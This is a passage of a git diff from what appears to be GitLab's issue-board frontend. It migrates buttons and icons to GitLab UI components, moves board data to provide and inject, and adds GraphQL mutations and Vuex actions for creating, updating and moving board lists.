@@ -10,6 +11,7 @@ import boardsStore from '../../stores/boards_store';
export default {
components: {
ListsDropdown,
+ GlButton,
},
mixins: [modalMixin, footerEEMixin],
data() {
@@ -65,14 +67,14 @@ export default {
<template>
<footer class="form-actions add-issues-footer">
<div class="float-left">
- <button :disabled="submitDisabled" class="btn btn-success" type="button" @click="addIssues">
+ <gl-button :disabled="submitDisabled" category="primary" variant="success" @click="addIssues">
{{ submitText }}
- </button>
+ </gl-button>
<span class="inline add-issues-footer-to-list">{{ __('to list') }}</span>
<lists-dropdown />
</div>
- <button class="btn btn-default float-right" type="button" @click="toggleModal(false)">
+ <gl-button class="float-right" @click="toggleModal(false)">
{{ __('Cancel') }}
- </button>
+ </gl-button>
</footer>
</template>
diff --git a/app/assets/javascripts/boards/components/modal/header.vue b/app/assets/javascripts/boards/components/modal/header.vue
index 573284d2b44..3e96ecca24c 100644
--- a/app/assets/javascripts/boards/components/modal/header.vue
+++ b/app/assets/javascripts/boards/components/modal/header.vue
@@ -1,5 +1,6 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
+import { GlButton } from '@gitlab/ui';
import { __ } from '~/locale';
import ModalFilters from './filters';
import ModalTabs from './tabs.vue';
@@ -10,6 +11,7 @@ export default {
components: {
ModalTabs,
ModalFilters,
+ GlButton,
},
mixins: [modalMixin],
props: {
@@ -17,10 +19,6 @@ export default {
type: Number,
required: true,
},
- milestonePath: {
- type: String,
- required: true,
- },
labelPath: {
type: String,
required: true,
@@ -43,7 +41,7 @@ export default {
},
methods: {
toggleAll() {
- this.$refs.selectAllBtn.blur();
+ this.$refs.selectAllBtn.$el.blur();
ModalStore.toggleAll();
},
@@ -55,28 +53,28 @@ export default {
<header class="add-issues-header border-top-0 form-actions">
<h2 class="m-0">
Add issues
- <button
- type="button"
+ <gl-button
+ category="tertiary"
+ icon="close"
class="close"
data-dismiss="modal"
:aria-label="__('Close')"
@click="toggleModal(false)"
- >
- <span aria-hidden="true">×</span>
- </button>
+ />
</h2>
</header>
<modal-tabs v-if="!loading && issuesCount > 0" />
<div v-if="showSearch" class="d-flex gl-mb-3">
<modal-filters :store="filter" />
- <button
+ <gl-button
ref="selectAllBtn"
- type="button"
- class="btn btn-success btn-inverted gl-ml-3"
+ category="secondary"
+ variant="success"
+ class="gl-ml-3"
@click="toggleAll"
>
{{ selectAllText }}
- </button>
+ </gl-button>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/modal/index.vue b/app/assets/javascripts/boards/components/modal/index.vue
index 20344b66140..817b3bdddb0 100644
--- a/app/assets/javascripts/boards/components/modal/index.vue
+++ b/app/assets/javascripts/boards/components/modal/index.vue
@@ -26,22 +26,10 @@ export default {
type: String,
required: true,
},
- issueLinkBase: {
- type: String,
- required: true,
- },
- rootPath: {
- type: String,
- required: true,
- },
projectId: {
type: Number,
required: true,
},
- milestonePath: {
- type: String,
- required: true,
- },
labelPath: {
type: String,
required: true,
@@ -149,17 +137,8 @@ export default {
class="add-issues-modal d-flex position-fixed position-top-0 position-bottom-0 position-left-0 position-right-0 h-100"
>
<div class="add-issues-container d-flex flex-column m-auto rounded">
- <modal-header
- :project-id="projectId"
- :milestone-path="milestonePath"
- :label-path="labelPath"
- />
- <modal-list
- v-if="!loading && showList && !filterLoading"
- :issue-link-base="issueLinkBase"
- :root-path="rootPath"
- :empty-state-svg="emptyStateSvg"
- />
+ <modal-header :project-id="projectId" :label-path="labelPath" />
+ <modal-list v-if="!loading && showList && !filterLoading" :empty-state-svg="emptyStateSvg" />
<empty-state
v-if="showEmptyState"
:new-issue-path="newIssuePath"
diff --git a/app/assets/javascripts/boards/components/modal/list.vue b/app/assets/javascripts/boards/components/modal/list.vue
index 78e3351a79e..219263bd9b9 100644
--- a/app/assets/javascripts/boards/components/modal/list.vue
+++ b/app/assets/javascripts/boards/components/modal/list.vue
@@ -1,23 +1,15 @@
<script>
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import ModalStore from '../../stores/modal_store';
import IssueCardInner from '../issue_card_inner.vue';
export default {
components: {
IssueCardInner,
- Icon,
+ GlIcon,
},
props: {
- issueLinkBase: {
- type: String,
- required: true,
- },
- rootPath: {
- type: String,
- required: true,
- },
emptyStateSvg: {
type: String,
required: true,
@@ -134,8 +126,8 @@ export default {
class="board-card position-relative p-3 rounded"
@click="toggleIssue($event, issue)"
>
- <issue-card-inner :issue="issue" :issue-link-base="issueLinkBase" :root-path="rootPath" />
- <icon
+ <issue-card-inner :issue="issue" />
+ <gl-icon
v-if="issue.selected"
:aria-label="'Issue #' + issue.id + ' selected'"
name="mobile-issue-close"
diff --git a/app/assets/javascripts/boards/components/modal/lists_dropdown.vue b/app/assets/javascripts/boards/components/modal/lists_dropdown.vue
index 3fbe8fe1be7..fe10e7fb856 100644
--- a/app/assets/javascripts/boards/components/modal/lists_dropdown.vue
+++ b/app/assets/javascripts/boards/components/modal/lists_dropdown.vue
@@ -1,13 +1,12 @@
<script>
-import { GlLink } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlLink, GlIcon } from '@gitlab/ui';
import ModalStore from '../../stores/modal_store';
import boardsStore from '../../stores/boards_store';
export default {
components: {
GlLink,
- Icon,
+ GlIcon,
},
data() {
return {
@@ -29,7 +28,7 @@ export default {
<div class="dropdown inline">
<button class="dropdown-menu-toggle" type="button" data-toggle="dropdown" aria-expanded="false">
<span :style="{ backgroundColor: selected.label.color }" class="dropdown-label-box"> </span>
- {{ selected.title }} <icon name="chevron-down" />
+ {{ selected.title }} <gl-icon name="chevron-down" class="dropdown-menu-toggle-icon" />
</button>
<div class="dropdown-menu dropdown-menu-selectable dropdown-menu-drop-up">
<ul>
diff --git a/app/assets/javascripts/boards/components/new_list_dropdown.js b/app/assets/javascripts/boards/components/new_list_dropdown.js
index 2b9fdf11b37..2e356f1353a 100644
--- a/app/assets/javascripts/boards/components/new_list_dropdown.js
+++ b/app/assets/javascripts/boards/components/new_list_dropdown.js
@@ -6,6 +6,7 @@ import axios from '~/lib/utils/axios_utils';
import { deprecatedCreateFlash as flash } from '~/flash';
import CreateLabelDropdown from '../../create_label';
import boardsStore from '../stores/boards_store';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
$(document)
.off('created.label')
@@ -36,7 +37,7 @@ export default function initNewListDropdown() {
$dropdownToggle.data('projectPath'),
);
- $dropdownToggle.glDropdown({
+ initDeprecatedJQueryDropdown($dropdownToggle, {
data(term, callback) {
axios
.get($dropdownToggle.attr('data-list-labels-path'))
diff --git a/app/assets/javascripts/boards/components/project_select.vue b/app/assets/javascripts/boards/components/project_select.vue
index 598e92726c1..59e7620962a 100644
--- a/app/assets/javascripts/boards/components/project_select.vue
+++ b/app/assets/javascripts/boards/components/project_select.vue
@@ -1,30 +1,30 @@
<script>
import $ from 'jquery';
import { escape } from 'lodash';
-import { GlLoadingIcon } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import eventHub from '../eventhub';
import Api from '../../api';
import { featureAccessLevel } from '~/pages/projects/shared/permissions/constants';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default {
name: 'BoardProjectSelect',
components: {
- Icon,
+ GlIcon,
GlLoadingIcon,
},
props: {
- groupId: {
- type: Number,
- required: true,
- default: 0,
- },
list: {
type: Object,
required: true,
},
},
+ inject: {
+ groupId: {
+ type: Number,
+ },
+ },
data() {
return {
loading: true,
@@ -37,7 +37,7 @@ export default {
},
},
mounted() {
- $(this.$refs.projectsDropdown).glDropdown({
+ initDeprecatedJQueryDropdown($(this.$refs.projectsDropdown), {
filterable: true,
filterRemote: true,
search: {
@@ -105,13 +105,13 @@ export default {
data-toggle="dropdown"
aria-expanded="false"
>
- {{ selectedProjectName }} <icon name="chevron-down" />
+ {{ selectedProjectName }} <gl-icon name="chevron-down" class="dropdown-menu-toggle-icon" />
</button>
<div class="dropdown-menu dropdown-menu-selectable dropdown-menu-full-width">
<div class="dropdown-title">{{ __('Projects') }}</div>
<div class="dropdown-input">
<input class="dropdown-input-field" type="search" :placeholder="__('Search projects')" />
- <icon name="search" class="dropdown-input-search" data-hidden="true" />
+ <gl-icon name="search" class="dropdown-input-search" data-hidden="true" />
</div>
<div class="dropdown-content"></div>
<div class="dropdown-loading"><gl-loading-icon /></div>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue b/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
new file mode 100644
index 00000000000..8df03ea581f
--- /dev/null
+++ b/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
@@ -0,0 +1,79 @@
+<script>
+import { GlButton, GlLoadingIcon } from '@gitlab/ui';
+
+export default {
+ components: { GlButton, GlLoadingIcon },
+ props: {
+ title: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ loading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ inject: ['canUpdate'],
+ data() {
+ return {
+ edit: false,
+ };
+ },
+ destroyed() {
+ window.removeEventListener('click', this.collapseWhenOffClick);
+ },
+ methods: {
+ collapseWhenOffClick({ target }) {
+ if (!this.$el.contains(target)) {
+ this.collapse();
+ }
+ },
+ expand() {
+ if (this.edit) {
+ return;
+ }
+
+ this.edit = true;
+ this.$emit('changed', this.edit);
+ window.addEventListener('click', this.collapseWhenOffClick);
+ },
+ collapse() {
+ if (!this.edit) {
+ return;
+ }
+
+ this.edit = false;
+ this.$emit('changed', this.edit);
+ window.removeEventListener('click', this.collapseWhenOffClick);
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <div class="gl-display-flex gl-justify-content-space-between gl-mb-3">
+ <span class="gl-vertical-align-middle">
+ <span data-testid="title">{{ title }}</span>
+ <gl-loading-icon v-if="loading" inline class="gl-ml-2" />
+ </span>
+ <gl-button
+ v-if="canUpdate"
+ variant="link"
+ class="gl-text-gray-900!"
+ data-testid="edit-button"
+ @click="expand()"
+ >
+ {{ __('Edit') }}
+ </gl-button>
+ </div>
+ <div v-show="!edit" class="gl-text-gray-400" data-testid="collapsed-content">
+ <slot name="collapsed">{{ __('None') }}</slot>
+ </div>
+ <div v-show="edit" data-testid="expanded-content">
+ <slot></slot>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/boards/constants.js b/app/assets/javascripts/boards/constants.js
index 35c52558cac..2f64014a949 100644
--- a/app/assets/javascripts/boards/constants.js
+++ b/app/assets/javascripts/boards/constants.js
@@ -15,6 +15,9 @@ export const ListType = {
export const inactiveId = 0;
+export const ISSUABLE = 'issuable';
+export const LIST = 'list';
+
export default {
BoardType,
ListType,
diff --git a/app/assets/javascripts/boards/filtered_search_boards.js b/app/assets/javascripts/boards/filtered_search_boards.js
index b7966dd869d..fff89832bf0 100644
--- a/app/assets/javascripts/boards/filtered_search_boards.js
+++ b/app/assets/javascripts/boards/filtered_search_boards.js
@@ -27,6 +27,11 @@ export default class FilteredSearchBoards extends FilteredSearchManager {
updateObject(path) {
this.store.path = path.substr(1);
+ if (gon.features.boardsWithSwimlanes || gon.features.graphqlBoardLists) {
+ boardsStore.updateFiltersUrl();
+ boardsStore.performSearch();
+ }
+
if (this.updateUrl) {
boardsStore.updateFiltersUrl();
}
diff --git a/app/assets/javascripts/boards/index.js b/app/assets/javascripts/boards/index.js
index 971edd71eec..1173c6d0578 100644
--- a/app/assets/javascripts/boards/index.js
+++ b/app/assets/javascripts/boards/index.js
@@ -1,6 +1,6 @@
import $ from 'jquery';
import Vue from 'vue';
-import { mapActions } from 'vuex';
+import { mapActions, mapState } from 'vuex';
import 'ee_else_ce/boards/models/issue';
import 'ee_else_ce/boards/models/list';
@@ -24,7 +24,6 @@ import { deprecatedCreateFlash as Flash } from '~/flash';
import { __ } from '~/locale';
import './models/label';
import './models/assignee';
-import { BoardType } from './constants';
import toggleFocusMode from '~/boards/toggle_focus';
import FilteredSearchBoards from '~/boards/filtered_search_boards';
@@ -42,11 +41,9 @@ import {
NavigationType,
convertObjectPropsToCamelCase,
parseBoolean,
+ urlParamsToObject,
} from '~/lib/utils/common_utils';
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import mountMultipleBoardsSwitcher from './mount_multiple_boards_switcher';
-import projectBoardQuery from './queries/project_board.query.graphql';
-import groupQuery from './queries/group_board.query.graphql';
Vue.use(VueApollo);
@@ -85,6 +82,11 @@ export default () => {
BoardAddIssuesModal,
BoardSettingsSidebar: () => import('~/boards/components/board_settings_sidebar.vue'),
},
+ provide: {
+ boardId: $boardApp.dataset.boardId,
+ groupId: Number($boardApp.dataset.groupId) || null,
+ rootPath: $boardApp.dataset.rootPath,
+ },
store,
apolloProvider,
data() {
@@ -94,16 +96,14 @@ export default () => {
boardsEndpoint: $boardApp.dataset.boardsEndpoint,
recentBoardsEndpoint: $boardApp.dataset.recentBoardsEndpoint,
listsEndpoint: $boardApp.dataset.listsEndpoint,
- boardId: $boardApp.dataset.boardId,
disabled: parseBoolean($boardApp.dataset.disabled),
- issueLinkBase: $boardApp.dataset.issueLinkBase,
- rootPath: $boardApp.dataset.rootPath,
bulkUpdatePath: $boardApp.dataset.bulkUpdatePath,
detailIssue: boardsStore.detail,
parent: $boardApp.dataset.parent,
};
},
computed: {
+ ...mapState(['isShowingEpicsSwimlanes']),
detailIssueVisible() {
return Object.keys(this.detailIssue.issue).length;
},
@@ -114,10 +114,15 @@ export default () => {
recentBoardsEndpoint: this.recentBoardsEndpoint,
listsEndpoint: this.listsEndpoint,
bulkUpdatePath: this.bulkUpdatePath,
- boardId: this.boardId,
+ boardId: $boardApp.dataset.boardId,
fullPath: $boardApp.dataset.fullPath,
};
- this.setInitialBoardData({ ...endpoints, boardType: this.parent });
+ this.setInitialBoardData({
+ ...endpoints,
+ boardType: this.parent,
+ disabled: this.disabled,
+ showPromotion: parseBoolean($boardApp.getAttribute('data-show-promotion')),
+ });
boardsStore.setEndpoints(endpoints);
boardsStore.rootPath = this.boardsEndpoint;
@@ -125,55 +130,24 @@ export default () => {
eventHub.$on('newDetailIssue', this.updateDetailIssue);
eventHub.$on('clearDetailIssue', this.clearDetailIssue);
sidebarEventHub.$on('toggleSubscription', this.toggleSubscription);
+ eventHub.$on('performSearch', this.performSearch);
},
beforeDestroy() {
eventHub.$off('updateTokens', this.updateTokens);
eventHub.$off('newDetailIssue', this.updateDetailIssue);
eventHub.$off('clearDetailIssue', this.clearDetailIssue);
sidebarEventHub.$off('toggleSubscription', this.toggleSubscription);
+ eventHub.$off('performSearch', this.performSearch);
},
mounted() {
this.filterManager = new FilteredSearchBoards(boardsStore.filter, true, boardsStore.cantEdit);
this.filterManager.setup();
- boardsStore.disabled = this.disabled;
-
- if (gon.features.graphqlBoardLists) {
- this.$apollo.addSmartQuery('lists', {
- query() {
- return this.parent === BoardType.group ? groupQuery : projectBoardQuery;
- },
- variables() {
- return {
- fullPath: this.state.endpoints.fullPath,
- boardId: `gid://gitlab/Board/${this.boardId}`,
- };
- },
- update(data) {
- return this.getNodes(data);
- },
- result({ data, error }) {
- if (error) {
- throw error;
- }
-
- const lists = this.getNodes(data);
+ this.performSearch();
- lists.forEach(list =>
- boardsStore.addList({
- ...list,
- id: getIdFromGraphQLId(list.id),
- }),
- );
+ boardsStore.disabled = this.disabled;
- boardsStore.addBlankState();
- setPromotionState(boardsStore);
- },
- error() {
- Flash(__('An error occurred while fetching the board lists. Please try again.'));
- },
- });
- } else {
+ if (!gon.features.graphqlBoardLists) {
boardsStore
.all()
.then(res => res.data)
@@ -189,10 +163,22 @@ export default () => {
}
},
methods: {
- ...mapActions(['setInitialBoardData']),
+ ...mapActions([
+ 'setInitialBoardData',
+ 'setFilters',
+ 'fetchEpicsSwimlanes',
+ 'fetchIssuesForAllLists',
+ ]),
updateTokens() {
this.filterManager.updateTokens();
},
+ performSearch() {
+ this.setFilters(convertObjectPropsToCamelCase(urlParamsToObject(window.location.search)));
+ if (gon.features.boardsWithSwimlanes && this.isShowingEpicsSwimlanes) {
+ this.fetchEpicsSwimlanes(false);
+ this.fetchIssuesForAllLists();
+ }
+ },
updateDetailIssue(newIssue, multiSelect = false) {
const { sidebarInfoEndpoint } = newIssue;
if (sidebarInfoEndpoint && newIssue.subscribed === undefined) {
@@ -354,6 +340,8 @@ export default () => {
class="btn btn-success gl-ml-3"
type="button"
data-placement="bottom"
+ data-track-event="click_button"
+ data-track-label="board_add_issues"
ref="addIssuesButton"
:class="{ 'disabled': disabled }"
:title="tooltipTitle"
diff --git a/app/assets/javascripts/boards/models/issue.js b/app/assets/javascripts/boards/models/issue.js
index 98eac35b2ed..822e6d62ab3 100644
--- a/app/assets/javascripts/boards/models/issue.js
+++ b/app/assets/javascripts/boards/models/issue.js
@@ -15,7 +15,7 @@ class ListIssue {
this.labels = [];
this.assignees = [];
this.selected = false;
- this.position = obj.position || obj.relative_position || Infinity;
+ this.position = obj.position || obj.relative_position || obj.relativePosition || Infinity;
this.isFetching = {
subscriptions: true,
};
diff --git a/app/assets/javascripts/boards/models/list.js b/app/assets/javascripts/boards/models/list.js
index b8b30c958a9..2f6caffbf84 100644
--- a/app/assets/javascripts/boards/models/list.js
+++ b/app/assets/javascripts/boards/models/list.js
@@ -47,7 +47,7 @@ class List {
this.loading = true;
this.loadingMore = false;
this.issues = obj.issues || [];
- this.issuesSize = obj.issuesSize ? obj.issuesSize : 0;
+ this.issuesSize = obj.issuesSize || obj.issuesCount || 0;
this.maxIssueCount = obj.maxIssueCount || obj.max_issue_count || 0;
if (obj.label) {
diff --git a/app/assets/javascripts/boards/mount_multiple_boards_switcher.js b/app/assets/javascripts/boards/mount_multiple_boards_switcher.js
index 73d37459bfe..51bb72b7657 100644
--- a/app/assets/javascripts/boards/mount_multiple_boards_switcher.js
+++ b/app/assets/javascripts/boards/mount_multiple_boards_switcher.js
@@ -27,7 +27,7 @@ export default () => {
hasMissingBoards: parseBoolean(dataset.hasMissingBoards),
canAdminBoard: parseBoolean(dataset.canAdminBoard),
multipleIssueBoardsAvailable: parseBoolean(dataset.multipleIssueBoardsAvailable),
- projectId: Number(dataset.projectId),
+ projectId: dataset.projectId ? Number(dataset.projectId) : 0,
groupId: Number(dataset.groupId),
scopedIssueBoardFeatureEnabled: parseBoolean(dataset.scopedIssueBoardFeatureEnabled),
weights: JSON.parse(dataset.weights),
diff --git a/app/assets/javascripts/boards/queries/board_list_create.mutation.graphql b/app/assets/javascripts/boards/queries/board_list_create.mutation.graphql
new file mode 100644
index 00000000000..dcfe69222a0
--- /dev/null
+++ b/app/assets/javascripts/boards/queries/board_list_create.mutation.graphql
@@ -0,0 +1,10 @@
+#import "./board_list.fragment.graphql"
+
+mutation CreateBoardList($boardId: BoardID!, $backlog: Boolean) {
+ boardListCreate(input: { boardId: $boardId, backlog: $backlog }) {
+ list {
+ ...BoardListFragment
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/boards/queries/board_list_shared.fragment.graphql b/app/assets/javascripts/boards/queries/board_list_shared.fragment.graphql
index 8abd79332fb..d85b736720b 100644
--- a/app/assets/javascripts/boards/queries/board_list_shared.fragment.graphql
+++ b/app/assets/javascripts/boards/queries/board_list_shared.fragment.graphql
@@ -4,7 +4,7 @@ fragment BoardListShared on BoardList {
position
listType
collapsed
- maxIssueCount
+ issuesCount
label {
id
title
diff --git a/app/assets/javascripts/boards/queries/board_list_update.mutation.graphql b/app/assets/javascripts/boards/queries/board_list_update.mutation.graphql
new file mode 100644
index 00000000000..b474c9acb93
--- /dev/null
+++ b/app/assets/javascripts/boards/queries/board_list_update.mutation.graphql
@@ -0,0 +1,10 @@
+#import "./board_list.fragment.graphql"
+
+mutation UpdateBoardList($listId: ID!, $position: Int, $collapsed: Boolean) {
+ updateBoardList(input: { listId: $listId, position: $position, collapsed: $collapsed }) {
+ list {
+ ...BoardListFragment
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/boards/queries/group_lists_issues.query.graphql b/app/assets/javascripts/boards/queries/group_lists_issues.query.graphql
deleted file mode 100644
index 724c7884c58..00000000000
--- a/app/assets/javascripts/boards/queries/group_lists_issues.query.graphql
+++ /dev/null
@@ -1,18 +0,0 @@
-#import "./issue.fragment.graphql"
-
-query GroupListIssues($fullPath: ID!, $boardId: ID!) {
- group(fullPath: $fullPath) {
- board(id: $boardId) {
- lists {
- nodes {
- id
- issues {
- nodes {
- ...IssueNode
- }
- }
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/boards/queries/issue.fragment.graphql b/app/assets/javascripts/boards/queries/issue.fragment.graphql
index 89d56b895a4..4b429f875a6 100644
--- a/app/assets/javascripts/boards/queries/issue.fragment.graphql
+++ b/app/assets/javascripts/boards/queries/issue.fragment.graphql
@@ -7,14 +7,10 @@ fragment IssueNode on Issue {
referencePath: reference(full: true)
dueDate
timeEstimate
- weight
confidential
webUrl
subscribed
- blocked
- epic {
- id
- }
+ relativePosition
assignees {
nodes {
...User
diff --git a/app/assets/javascripts/boards/queries/issue_move_list.mutation.graphql b/app/assets/javascripts/boards/queries/issue_move_list.mutation.graphql
new file mode 100644
index 00000000000..ff6aa597f48
--- /dev/null
+++ b/app/assets/javascripts/boards/queries/issue_move_list.mutation.graphql
@@ -0,0 +1,28 @@
+#import "ee_else_ce/boards/queries/issue.fragment.graphql"
+
+mutation IssueMoveList(
+ $projectPath: ID!
+ $iid: String!
+ $boardId: ID!
+ $fromListId: ID
+ $toListId: ID
+ $moveBeforeId: ID
+ $moveAfterId: ID
+) {
+ issueMoveList(
+ input: {
+ projectPath: $projectPath
+ iid: $iid
+ boardId: $boardId
+ fromListId: $fromListId
+ toListId: $toListId
+ moveBeforeId: $moveBeforeId
+ moveAfterId: $moveAfterId
+ }
+ ) {
+ issue {
+ ...IssueNode
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/boards/queries/lists_issues.query.graphql b/app/assets/javascripts/boards/queries/lists_issues.query.graphql
new file mode 100644
index 00000000000..c66cdf68cf4
--- /dev/null
+++ b/app/assets/javascripts/boards/queries/lists_issues.query.graphql
@@ -0,0 +1,39 @@
+#import "ee_else_ce/boards/queries/issue.fragment.graphql"
+
+query ListIssues(
+ $fullPath: ID!
+ $boardId: ID!
+ $id: ID
+ $filters: BoardIssueInput
+ $isGroup: Boolean = false
+ $isProject: Boolean = false
+) {
+ group(fullPath: $fullPath) @include(if: $isGroup) {
+ board(id: $boardId) {
+ lists(id: $id) {
+ nodes {
+ id
+ issues(filters: $filters) {
+ nodes {
+ ...IssueNode
+ }
+ }
+ }
+ }
+ }
+ }
+ project(fullPath: $fullPath) @include(if: $isProject) {
+ board(id: $boardId) {
+ lists(id: $id) {
+ nodes {
+ id
+ issues(filters: $filters) {
+ nodes {
+ ...IssueNode
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/queries/project_lists_issues.query.graphql b/app/assets/javascripts/boards/queries/project_lists_issues.query.graphql
deleted file mode 100644
index 149b76848ef..00000000000
--- a/app/assets/javascripts/boards/queries/project_lists_issues.query.graphql
+++ /dev/null
@@ -1,18 +0,0 @@
-#import "./issue.fragment.graphql"
-
-query ProjectListIssues($fullPath: ID!, $boardId: ID!) {
- project(fullPath: $fullPath) {
- board(id: $boardId) {
- lists {
- nodes {
- id
- issues {
- nodes {
- ...IssueNode
- }
- }
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/boards/stores/actions.js b/app/assets/javascripts/boards/stores/actions.js
index b4be7546252..4b81d9c73ef 100644
--- a/app/assets/javascripts/boards/stores/actions.js
+++ b/app/assets/javascripts/boards/stores/actions.js
@@ -1,66 +1,248 @@
-import * as types from './mutation_types';
+import Cookies from 'js-cookie';
+import { sortBy, pick } from 'lodash';
+import createFlash from '~/flash';
+import { __ } from '~/locale';
+import { parseBoolean } from '~/lib/utils/common_utils';
import createDefaultClient from '~/lib/graphql';
-import { BoardType } from '~/boards/constants';
-import { formatListIssues } from '../boards_util';
-import groupListsIssuesQuery from '../queries/group_lists_issues.query.graphql';
-import projectListsIssuesQuery from '../queries/project_lists_issues.query.graphql';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { BoardType, ListType, inactiveId } from '~/boards/constants';
+import * as types from './mutation_types';
+import { formatListIssues, fullBoardId } from '../boards_util';
+import boardStore from '~/boards/stores/boards_store';
-const gqlClient = createDefaultClient();
+import listsIssuesQuery from '../queries/lists_issues.query.graphql';
+import projectBoardQuery from '../queries/project_board.query.graphql';
+import groupBoardQuery from '../queries/group_board.query.graphql';
+import createBoardListMutation from '../queries/board_list_create.mutation.graphql';
+import updateBoardListMutation from '../queries/board_list_update.mutation.graphql';
+import issueMoveListMutation from '../queries/issue_move_list.mutation.graphql';
const notImplemented = () => {
/* eslint-disable-next-line @gitlab/require-i18n-strings */
throw new Error('Not implemented!');
};
+export const gqlClient = createDefaultClient();
+
export default {
setInitialBoardData: ({ commit }, data) => {
commit(types.SET_INITIAL_BOARD_DATA, data);
},
- setActiveId({ commit }, id) {
- commit(types.SET_ACTIVE_ID, id);
+ setActiveId({ commit }, { id, sidebarType }) {
+ commit(types.SET_ACTIVE_ID, { id, sidebarType });
},
- fetchLists: () => {
- notImplemented();
+ unsetActiveId({ dispatch }) {
+ dispatch('setActiveId', { id: inactiveId, sidebarType: '' });
},
+ setFilters: ({ commit }, filters) => {
+ const filterParams = pick(filters, [
+ 'assigneeUsername',
+ 'authorUsername',
+ 'labelName',
+ 'milestoneTitle',
+ 'releaseTag',
+ 'search',
+ ]);
+ commit(types.SET_FILTERS, filterParams);
+ },
+
+ fetchLists: ({ commit, state, dispatch }) => {
+ const { endpoints, boardType } = state;
+ const { fullPath, boardId } = endpoints;
+
+ let query;
+ if (boardType === BoardType.group) {
+ query = groupBoardQuery;
+ } else if (boardType === BoardType.project) {
+ query = projectBoardQuery;
+ } else {
+ createFlash(__('Invalid board'));
+ return Promise.reject();
+ }
+
+ const variables = {
+ fullPath,
+ boardId: fullBoardId(boardId),
+ };
+
+ return gqlClient
+ .query({
+ query,
+ variables,
+ })
+ .then(({ data }) => {
+ let { lists } = data[boardType]?.board;
+ // Temporarily using positioning logic from boardStore
+ lists = lists.nodes.map(list =>
+ boardStore.updateListPosition({
+ ...list,
+ doNotFetchIssues: true,
+ }),
+ );
+ commit(types.RECEIVE_BOARD_LISTS_SUCCESS, sortBy(lists, 'position'));
+ // Backlog list needs to be created if it doesn't exist
+ if (!lists.find(l => l.type === ListType.backlog)) {
+ dispatch('createList', { backlog: true });
+ }
+ dispatch('showWelcomeList');
+ })
+ .catch(() => {
+ createFlash(
+ __('An error occurred while fetching the board lists. Please reload the page.'),
+ );
+ });
+ },
+
+ // This action only supports backlog list creation at this stage
+ // Future iterations will add the ability to create other list types
+ createList: ({ state, commit, dispatch }, { backlog = false }) => {
+ const { boardId } = state.endpoints;
+ gqlClient
+ .mutate({
+ mutation: createBoardListMutation,
+ variables: {
+ boardId: fullBoardId(boardId),
+ backlog,
+ },
+ })
+ .then(({ data }) => {
+ if (data?.boardListCreate?.errors.length) {
+ commit(types.CREATE_LIST_FAILURE);
+ } else {
+ const list = data.boardListCreate?.list;
+ dispatch('addList', list);
+ }
+ })
+ .catch(() => {
+ commit(types.CREATE_LIST_FAILURE);
+ });
+ },
+
+ addList: ({ state, commit }, list) => {
+ const lists = state.boardLists;
+ // Temporarily using positioning logic from boardStore
+ lists.push(boardStore.updateListPosition({ ...list, doNotFetchIssues: true }));
+ commit(types.RECEIVE_BOARD_LISTS_SUCCESS, sortBy(lists, 'position'));
+ },
+
+ showWelcomeList: ({ state, dispatch }) => {
+ if (state.disabled) {
+ return;
+ }
+ if (
+ state.boardLists.find(list => list.type !== ListType.backlog && list.type !== ListType.closed)
+ ) {
+ return;
+ }
+ if (parseBoolean(Cookies.get('issue_board_welcome_hidden'))) {
+ return;
+ }
+
+ dispatch('addList', {
+ id: 'blank',
+ listType: ListType.blank,
+ title: __('Welcome to your issue board!'),
+ position: 0,
+ });
+ },
+
+ showPromotionList: () => {},
+
generateDefaultLists: () => {
notImplemented();
},
- createList: () => {
- notImplemented();
+ moveList: ({ state, commit, dispatch }, { listId, newIndex, adjustmentValue }) => {
+ const { boardLists } = state;
+ const backupList = [...boardLists];
+ const movedList = boardLists.find(({ id }) => id === listId);
+
+ const newPosition = newIndex - 1;
+ const listAtNewIndex = boardLists[newIndex];
+
+ movedList.position = newPosition;
+ listAtNewIndex.position += adjustmentValue;
+ commit(types.MOVE_LIST, {
+ movedList,
+ listAtNewIndex,
+ });
+
+ dispatch('updateList', { listId, position: newPosition, backupList });
},
- updateList: () => {
- notImplemented();
+ updateList: ({ commit }, { listId, position, collapsed, backupList }) => {
+ gqlClient
+ .mutate({
+ mutation: updateBoardListMutation,
+ variables: {
+ listId,
+ position,
+ collapsed,
+ },
+ })
+ .then(({ data }) => {
+ if (data?.updateBoardList?.errors.length) {
+ commit(types.UPDATE_LIST_FAILURE, backupList);
+ }
+ })
+ .catch(() => {
+ commit(types.UPDATE_LIST_FAILURE, backupList);
+ });
},
deleteList: () => {
notImplemented();
},
- fetchIssuesForList: () => {
- notImplemented();
+ fetchIssuesForList: ({ state, commit }, listId) => {
+ const { endpoints, boardType, filterParams } = state;
+ const { fullPath, boardId } = endpoints;
+
+ const variables = {
+ fullPath,
+ boardId: fullBoardId(boardId),
+ id: listId,
+ filters: filterParams,
+ isGroup: boardType === BoardType.group,
+ isProject: boardType === BoardType.project,
+ };
+
+ return gqlClient
+ .query({
+ query: listsIssuesQuery,
+ context: {
+ isSingleRequest: true,
+ },
+ variables,
+ })
